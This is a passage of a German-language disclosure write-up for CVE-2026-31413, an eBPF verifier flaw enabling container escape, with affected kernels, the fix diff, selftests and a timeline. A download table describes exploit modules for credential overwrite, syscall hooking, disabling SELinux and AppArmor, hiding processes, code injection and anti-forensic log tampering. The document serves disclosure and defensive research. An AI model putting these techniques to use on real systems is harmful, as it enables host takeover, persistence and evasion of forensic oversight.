Google GKE verwendet standardmäßig Cilium als Dataplane V2. Wenn GKE-Knoten einen ungepatchten 6.12.x-Kernel ausführen (überprüfen Sie Ihre Knotenpool-Version), wird jede Kompromittierung eines Cilium-Pods zu Host-Root und Knotenübernahme. Ich habe den Exploit speziell für dieses Szenario entwickelt – deshalb heißt er `exploit_gke.c`.

Amazon EKS und Azure AKS sind ebenfalls potenziell betroffen, wenn sie 6.12.x-Kernel mit Cilium oder ähnlichem BPF-basiertem Networking ausführen. Es müssen die spezifischen AMI-/VM-Image-Versionen überprüft werden.

### Android

Android verwendet eBPF für Netzwerkverkehrsabrechnung (netd), Leistungsprofilerstellung und Speicherverfolgung. Aktuelle Android-Geräte (14/15) verwenden 6.1 LTS-Kernel, die **nicht betroffen** sind. Android 16 wird möglicherweise 6.12 LTS übernehmen – wenn dies der Fall ist und der anfällige Backport enthalten ist, wären die Angriffsfläche Systemdienste wie `netd` und `system_server`, die BPF-Programme laden.

Dies ist spekulativ und hängt vom Zeitplan der Kernel-Übernahme durch Android ab. Ich habe einen Eintrag beim Android VRP zur Nachverfolgung eingereicht.

### Shared-Kernel-Container (LXC/LXD)

Systemcontainer, die den Host-Kernel teilen (im Gegensatz zu VMs), sind vollständig exponiert. Kompromittierung des gemeinsamen Kernels = Kompromittierung des Hosts + jedes anderen Containers darauf. Dies unterscheidet sich von Docker/containerd, bei denen Sie auf einen Host entkommen, der selbst eine VM sein könnte.

### Was es nicht umgeht

Dies ist ein Gast-Kernel-Fehler, keine Hypervisor-Eskalation. Wenn Sie den Exploit innerhalb einer EC2-Instanz ausführen, erhalten Sie root auf dieser Instanz – Sie entkommen nicht dem Nitro-Hypervisor zum physischen Host oder anderen Mandanten. Gleiches gilt für GCE, Azure-VMs, KVM usw. Die Hardwaregrenze hält.

### Betroffene Kernel

| Zweig | Betroffen | Behoben |
|--------|----------|---------|
| 6.12.y (LTS) | `dea9989a3f` through 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` through 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` through 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 through 7.0-rc4 | 7.0-rc5+ |

Einführender Commit: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Fix-Commit: `c845894ebd6f`

`CAP_BPF` ist keine sichere Capability. Ein Verifier-Bug wandelt sie in beliebiges Kernel-Lesen/Schreiben um. Produkte, die sie Workload-Pods gewähren, sollten sie wie `CAP_SYS_ADMIN` behandeln.

---

## Der Fix

Ein Zeichen:```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

Statt den Branch auf insn_idx + 1 (Überspringen der ALU-Instruktion) zu setzen, wird auf insn_idx gepusht – die Instruktion selbst. Der gepushte Pfad führt die ALU-Operation mit dst = 0 erneut aus:

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

Der ursprüngliche Ansatz war clever – die Instruktion zu überspringen und das Ergebnis direkt zu setzen, wodurch ein Verifier-Schritt auf dem gepushten Pfad gespart wurde. Diese Optimierung funktioniert aber nur, wenn das Ergebnis der Ausführung der Instruktion mit dst = 0 tatsächlich Null ist. Das ist für AND wahr und für OR falsch. Der Fix gibt die Optimierung auf: die Instruktion wird einfach erneut ausgeführt und der Verifier berechnet den korrekten Wert für jeden Opcode.

Ich habe drei Patch-Revisionen durchlaufen:

  • v1: Parameter opcode zu maybe_fork_scalars() hinzugefügt und dst = K für OR, dst = 0 für AND auf dem gepushten Pfad gesetzt. Funktionierte, führte aber Komplexität ein.
  • v2: Eduard Zingerman schlug den Neu-Ausführen-Ansatz vor – auf insn_idx statt insn_idx + 1 pushen. Einfacher, opcode-unabhängig, eliminiert die gesamte Klasse von Überspringen-vs-Ausführen-Fehlern.
  • v3: Einzeiliger Kommentarstil in den Selftests, gemäß Alexei Starovoitovs Review. Gleicher Fix.

Eingespielt als c845894ebd6f am 22. März von Alexei Starovoitov. Selftests in 0ad1734cc559. Reviewed von Eduard Zingerman, Acked von Amery Hung.

Die Selftests decken drei Fälle ab:

  1. or_scalar_fork_rejects_oob – ARSH 63 + OR 8, value_size=8, Zugriff bei Offset 8 ist OOB → muss ablehnen
  2. and_scalar_fork_still_works – Regressionstest, AND-Pfad akzeptiert weiterhin
  3. or_scalar_fork_allows_inbounds – OR 4, value_size=8, Offset 4 ist inbounds → muss akzeptieren

Linus merge-te d5273fd3ca0b ("Merge tag 'bpf-fixes'") mit dem Hinweis: "Fix unsound scalar fork for OR instructions (Daniel Wade)".


Timeline


Ressourcen

  • Fix-Commit: c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")
  • Selftests: 0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")
  • Einführender Commit: bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")
  • Patch-Serie: lore.kernel.org
  • Exploit-Quellcode + Patches: github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

Haftungsausschluss: Dieser Exploit-Code wird nach verantwortungsvoller Offenlegung und Einspielen des Patches ausschließlich zu Bildungs- und Verteidigungsforschungszwecken veröffentlicht. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Berechtigung zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.

CVE-2026-31413 – Behoben in Linux 7.0-rc5. Betroffen: 6.12.75+ (stable-backport) bis 7.0-rc4.

Daniel Wade – GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Tool herunterladen
TierFileFähigkeit
1exploit.c / exploit_gke.cContainer-Escape – Vtable-Hijack + Überschreiben von modprobe_path (der oben beschriebene Kern-Exploit)
v2exploit_gke_v2.cDatenbasiertes Überschreiben von Berechtigungen – kein Vtable-Hijack, kein modprobe_path, keine Dateisystem-Interaktion. Automatische Erkennung des task_struct-Layouts. Kein Fenster für Kartenbeschädigung. Der empfohlene Exploit.
2tier2_cred_overwrite.cDirektes Überschreiben von Berechtigungen – task_struct-Kette durchlaufen, aktuellen Task finden, uid/gid/caps in struct cred auf null setzen für sofortige root-Rechte
3tier3_syscall_hook.cSyscall-Tabellen-Hooking – Seitentabellen durchlaufen, um die Syscall-Tabelle beschreibbar zu machen, einen Handler austauschen, von userspace aufrufen, wiederherstellen
4tier4_security_disable.cSicherheitssubsysteme deaktivieren – SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict deaktivieren; Überprüfung via /proc
5tier5_cross_container.cContainerübergreifender Diebstahl von Berechtigungen – nsproxy-Strukturen enumerieren, die task_struct einer Ziel-PID in einem anderen Namensraum finden, deren creds ändern
6tier6_persistence.cKernel-getriggerte Persistenz – Überschreiben von modprobe_path und core_pattern, um Angreifer-Payloads bei Fehlern im Binärformat und Abstürzen auszuführen
7tier7_hardware.cHardware-Introspection – IDT auslesen, CR0/CR4 lesen/dekodieren, Seitentabellen mit vollständiger Berechtigungsmatrix durchlaufen, KASLR-Basis wiederherstellen
8tier8_dkom_cloak.cDKOM-Prozessversteck – einen Kindprozess forken, seine task_struct finden, aus der Kernel-Task-Liste entfernen (unsichtbar für ps/Task-Iteratoren), wieder einhängen
9tier9_code_inject.cLive-Kernel-Code-Injektion – .text-PMD auf beschreibbar patchen, Prolog von sys_getuid mit Shellcode überschreiben (mov rax, 0x1337; ret), von userspace aufrufen, wiederherstellen
10tier10_anti_forensics.cAnti-Forensik – printk-Ringpuffer-Interna auslesen, forensische Variablen manipulieren (ftrace, audit, dmesg_restrict, kptr_restrict), Kernel-Log-Puffer-Text lesen/schreiben
make # builds everything (PoCs + exploits + tiers)
make setcaps # sets required capabilities on all binaries
DatumEreignis
2026-01-14bffacdb80b93 führt maybe_fork_scalars() in 7.0-rc1 ein
2026-03-04Bug als dea9989a3f in 6.12.y stable zurückportiert
2026-03-11Ich finde den Bug während des Verifier-Audits
2026-03-12OOB-Read/Write bestätigt, Exploit funktionsfähig
2026-03-13Container-Escape-PoC abgeschlossen, Video aufgezeichnet
2026-03-14Patch v3 an [email protected] gesendet
2026-03-22Fix von Alexei Starovoitov in bpf/bpf.git eingespielt
2026-04-06Linus führt bpf-fixes-Tag in mainline zusammen
2026-04-12CVE-2026-31413 von Greg Kroah-Hartman zugewiesen